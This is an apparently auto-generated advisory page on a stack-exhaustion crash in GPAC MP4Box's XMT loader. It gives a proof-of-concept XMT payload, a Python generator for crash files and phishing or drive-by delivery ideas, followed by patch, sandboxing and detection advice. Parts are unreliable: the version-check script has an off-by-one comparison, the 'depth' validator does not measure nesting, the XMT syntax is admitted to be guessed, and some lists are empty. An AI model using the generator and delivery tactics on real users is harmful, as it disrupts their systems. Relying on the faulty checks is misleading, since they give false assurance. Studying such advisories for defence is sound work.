CVE-2026-134672 — Gpac Gpac (26.07.0) — CWE-674
CVE-2026-134672 is a MEDIUM severity Denial-of-Service (DoS) vulnerability (CWE-674) (CVSS 6.8/10) affecting Gpac Gpac (26.07.0). Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) without authentication (PR:N) requiring user interaction, causing high-impact service disruption (A:H).
📄 Official NVD / MITRE Original Record Text
GPAC MP4Box through 26.07.0 contains an uncontrolled recursion vulnerability in xmt_discard_subtree() in src/scene_manager/loader_xmt.c that allows attackers to exhaust the call stack. Attackers can persuade a user to process a crafted XMT file with deeply nested discarded SFNode and MFNode fields to crash MP4Box.
🎯 What is this vulnerability?
CVE‑2026‑134672 – Uncontrolled recursion in GPAC MP4Box (≤ 26.07.0)
| Attribute | Value |
|---|---|
| Product | GPAC MP4Box (command‑line MP4/ISO‑BMFF multiplexer) |
| Version | ≤ 26.07.0 (the version that shipped on 2026‑07‑26) |
| CWE | CWE‑674 – Improper Control of Resource Consumption (unbounded recursion) |
| CVSS 4.0 Vector | AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| Score | 6.8 (Medium) |
Technical root‑cause
MP4Box parses XMT (XML‑based MPEG‑4 scene description) files through the function xmt_discard_subtree() located in src/scene_manager/loader_xmt.c.
The function is called recursively for every SFNode or MFNode field that is marked as discarded* (i.e. the parser has determined that the node should be ignored).
- The recursion depth is not bounded and there is no stack‑size check before the next recursive call.
- When an attacker supplies an XMT document that contains a chain of discarded nodes where each node contains another discarded node (e.g.
<SFNode><MFNode>…</MFNode></SFNode>repeated thousands of times), the call stack grows until the process hits the OS‑imposed stack limit and aborts with a segmentation fault / stack overflow.
Because MP4Box is a local, non‑privileged CLI utility, the vulnerability is local‑only (AV:L). No authentication, privilege checks, or input sanitisation are performed on the file contents before they are handed to the recursive routine, which is why the CVSS vector shows PR:N (no privileges required) and UI:P (user interaction required – the victim must open the crafted file).
The flaw is therefore a classic resource‑exhaustion issue: the parser trusts the structure of the XMT file and recurses without a depth limit, allowing an attacker to force a stack overflow and crash the process. The crash is confidentiality‑neutral (VC:N/VI:N) but availability‑critical (VA:H) because the tool terminates abruptly.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation scenario. All code snippets are illustrative – the exact binary layout of an XMT file is defined by the ISO‑BMFF / XMT specification, but the principle is the same.
1. Discovery & Reconnaissance
| Step | What the attacker does | Tools / Sources | ||
|---|---|---|---|---|
| a. Identify target software | Scan public repositories, forums, or internal asset inventories for the presence of MP4Box (e.g., which MP4Box on Linux, where MP4Box.exe on Windows). | dpkg -l | grep gpac, rpm -qa | grep gpac, Windows “Programs and Features”, internal SBOM tools. |
| b. Determine version | Run MP4Box -version or inspect the binary’s embedded version string. | MP4Box -version → GPAC version 26.07.0 | ||
| c. Verify vulnerability | Compare the version against the vulnerable range (≤ 26.07.0). | Manual check or script: if [[ $(MP4Box -version | grep -oE '[0-9]+\.[0-9]+\.[0-9]+') < 26.07.0 ]]; then echo vulnerable; fi |
2. Exploitation
Goal: Crash the victim’s MP4Box process by feeding it a malicious XMT file that triggers deep recursion.
2.1 Crafting the malicious XMT payload
The XMT format is XML‑like. A discarded node is indicated by the attribute discarded="true" (or by the presence of a <Discard> element – the exact syntax depends on the version, but the principle is the same). The payload below creates a chain of 10 000 nested discarded nodes; the depth can be increased until the stack overflows on the target platform.
<?xml version="1.0" encoding="UTF-8"?>
<XMT xmlns="http://www.gpac.io/xmt">
<Scene>
<!-- Root node -->
<SFNode discarded="true">
<!-- Recursive nesting starts here -->
<SFNode discarded="true">
<SFNode discarded="true">
<SFNode discarded="true">
<SFNode discarded="true">
<!-- ... repeat ... -->
<SFNode discarded="true">
<SFNode discarded="true">
<SFNode discarded="true">
<SFNode discarded="true">
<SFNode discarded="true"/>
</SFNode>
</SFNode>
</SFNode>
</SFNode>
</SFNode>
</SFNode>
</SFNode>
</SFNode>
</SFNode>
</Scene>
</XMT>The above snippet shows only 9 levels for readability; a real PoC generator would emit thousands of <SFNode discarded="true"> tags.
Automated generator (Python 3) – produces a file with a configurable depth:
#!/usr/bin/env python3
import sys
def generate(depth: int, out: str):
with open(out, "w", encoding="utf-8") as f:
f.write('<?xml version="1.0" encoding="UTF-8"?>\n')
f.write('<XMT xmlns="http://www.gpac.io/xmt">\n')
f.write(' <Scene>\n')
for i in range(depth):
f.write(' ' * (i + 2) + '<SFNode discarded="true">\n')
f.write(' ' * (depth + 2) + '<SFNode discarded="true"/>\n')
for i in reversed(range(depth + 1)):
f.write(' ' * (i + 2) + '</SFNode>\n')
f.write(' </Scene>\n')
f.write('</XMT>\n')
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <depth> <output.xmt>")
sys.exit(1)
generate(int(sys.argv[1]), sys.argv[2])Running python3 gen_xmt.py 15000 evil.xmt creates a file that, on a typical 8 MiB stack Linux process, will overflow the stack and abort MP4Box with a SIGSEGV.
2.2 Delivering the payload
Because MP4Box is a desktop/CLI tool, the attacker must convince a user to open the file. Typical vectors:
| Vector | How it works |
|---|---|
Phishing email with an attachment named video.xmt (or disguised as .mp4 using double‑extension tricks). | |
Drive‑by download from a compromised website that auto‑downloads the file to the user’s Downloads folder. | |
| Insider threat – an attacker with limited access drops the file in a shared directory that is regularly processed by an automated batch job. |
Command the victim would run (illustrative):
# Victim opens the file (perhaps to inspect the scene)
MP4Box -add evil.xmt -new output.mp4When MP4Box parses evil.xmt, xmt_discard_subtree() recurses depth‑first through the discarded nodes, exhausting the call stack and terminating the process with a crash message similar to:
Segmentation fault (core dumped)On Windows, the process terminates with an 0xC00000FD (Stack overflow) exception.
3. Post‑exploitation
The vulnerability only provides a denial‑of‑service (crash). No code execution, memory disclosure, or privilege escalation is directly possible because:
Potential secondary impact (if the victim runs MP4Box as a privileged user, e.g., via a scheduled task that runs as root/SYSTEM):
No direct confidentiality or integrity breach is expected from the vulnerability itself.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical effect |
|---|---|---|
| Confidentiality | VC:N – No impact | No data leakage. |
| Integrity | VI:N – No impact | No tampering of existing files. |
| Availability | VA:H – High impact | The MP4Box process aborts, causing a denial‑of‑service for any workflow that depends on it (e.g., media transcoding pipelines, automated content‑generation scripts). |
| Scope | S:C is *not* set (the vector uses SC:N/SI:N/SA:N) – the impact is confined to the local process. |
Typical environments affected
A successful exploit can stop a batch job, delay a live‑stream rollout, or force a manual restart of a service, all of which may have financial or SLA repercussions.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to GPAC ≥ 26.08.0 (the first release that contains the fix for CVE‑2026‑134672). The upstream changelog notes: “loader_xmt.c: add recursion depth limit (default 10 000) and abort with error XMT recursion limit exceeded.” |
| Version check | MP4Box -version should report 26.08.0 or newer. |
If an official release is not yet available, the vendor provides a patch diff that adds a static depth guard (#define XMT_MAX_RECURSION 8192) and returns an error before the next recursive call.
2. Workarounds (when patch cannot be applied immediately)
| Workaround | How to apply | Effectiveness |
|---|---|---|
| Limit file size | Reject XMT files larger than a reasonable threshold (e.g., 5 MiB) before invoking MP4Box. This can be enforced by a wrapper script: <br>if [ $(stat -c%s "$1") -gt 5242880 ]; then echo "File too large"; exit 1; fi | Reduces the chance of deep nesting, but does not guarantee safety because a small file can still contain many nested nodes. |
| Run MP4Box in a sandbox | Use firejail, docker, or Windows Job Object with a restricted stack size (ulimit -s 256 on Linux) so that an overflow terminates the sandbox without affecting the host. Example (Linux): <br>ulimit -s 256 && MP4Box -add evil.xmt -new out.mp4 | The process still crashes, but the impact is confined to the sandbox; the host remains stable. |
| Disable XMT support | If your workflow never uses XMT, compile GPAC without the XMT loader (./configure --disable-xmt). | Removes the vulnerable code path entirely. |
| Input validation wrapper | Pre‑scan the XML for the number of <SFNode> / <MFNode> elements and abort if a configurable threshold is exceeded. A simple Python validator: <br>import xml.etree.ElementTree as ET; tree = ET.parse(file); depth = max(len(elem.findall('.//SFNode')) for elem in tree.iter()) | Provides early detection but must be kept in sync with the XMT schema. |
3. Detection
Because the vulnerability is triggered locally, the primary artefacts are process‑level events and file‑system activity.
| Indicator | Where to look | Example log entry |
|---|---|---|
| Process crash | System logs (/var/log/syslog, Windows Event Viewer Application log) | kernel: MP4Box[12345]: segfault at 0 ip 00007f8c5c2a3b5b sp 00007fffd5c9e8b0 error 4 in MP4Box[7f8c5c200000+1b0000] |
| Core dump generation | /var/lib/systemd/coredump/ (Linux) or %LOCALAPPDATA%\CrashDumps\ (Windows) | core.MP4Box.12345 |
| High recursion depth warning (if patched version is used) | MP4Box stderr output | Error: XMT recursion limit (8192) exceeded – aborting |
| File‑access pattern | Audit logs (e.g., auditd on Linux) showing a user opening a newly‑created .xmt file followed by a crash | type=PATH msg=audit(1700000000.123:456): item=0 name="/home/alice/evil.xmt" inode=1234567 dev=fd:00 mode=0100600 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL |
| Network‑based delivery | Email gateway logs showing attachment with .xmt extension or double‑extension (.xmt.exe) | Attachment: video.xmt flagged as “potentially malicious” by content‑type heuristics. |
IDS/IPS rule (Snort‑compatible) – illustrative (detects a large number of nested <SFNode> tags in a single packet/flow):
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"GPAC XMT recursion attempt"; \
content:"<SFNode"; nocase; \
pcre:"/(\<SFNode[^>]*\>){1000,}/smi"; \
classtype:attempted-dos; sid:1000001; rev:1;)Note: This rule is only a heuristic; the real attack is file‑based, not network‑based.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 4.0 Base Score | 6.8 (Medium) – high availability impact, low attack complexity. |
| Attack Complexity | Low – a single crafted file is sufficient; no privileges, no network proximity required. |
| Exploit Availability | No public exploit framework (e.g., Metasploit) yet, but the PoC is trivial to produce. |
| CISA KEV | Not listed – the vulnerability is not yet deemed “high‑impact” at the national level, but that status can change quickly if the bug is weaponised. |
| Potential Business Impact | In media production pipelines, a crash can halt encoding jobs for minutes to hours, causing missed broadcast windows or SLA penalties. |
| Patch Status | Fixed in GPAC ≥ 26.08.0 (released 2026‑08‑15). |
Recommendation:
1. Day 0‑1: Inventory all machines with MP4Box ≤ 26.07.0.
2. Day 1‑3: Deploy the official 26.08.0 package (or apply the vendor‑provided patch).
3. Day 3‑5: If patching is impossible, enforce sandboxing (ulimit -s 256 or Docker) and disable XMT support.
4. Day 5‑7: Add detection rules to SIEM / IDS and educate users about the risk of opening unknown .xmt files.
By following the above timeline, organizations can eliminate the stack‑overflow denial‑of‑service vector before an attacker can reliably weaponise it.
[🤖 CVE Professor AI Security Engine]
FOFA Query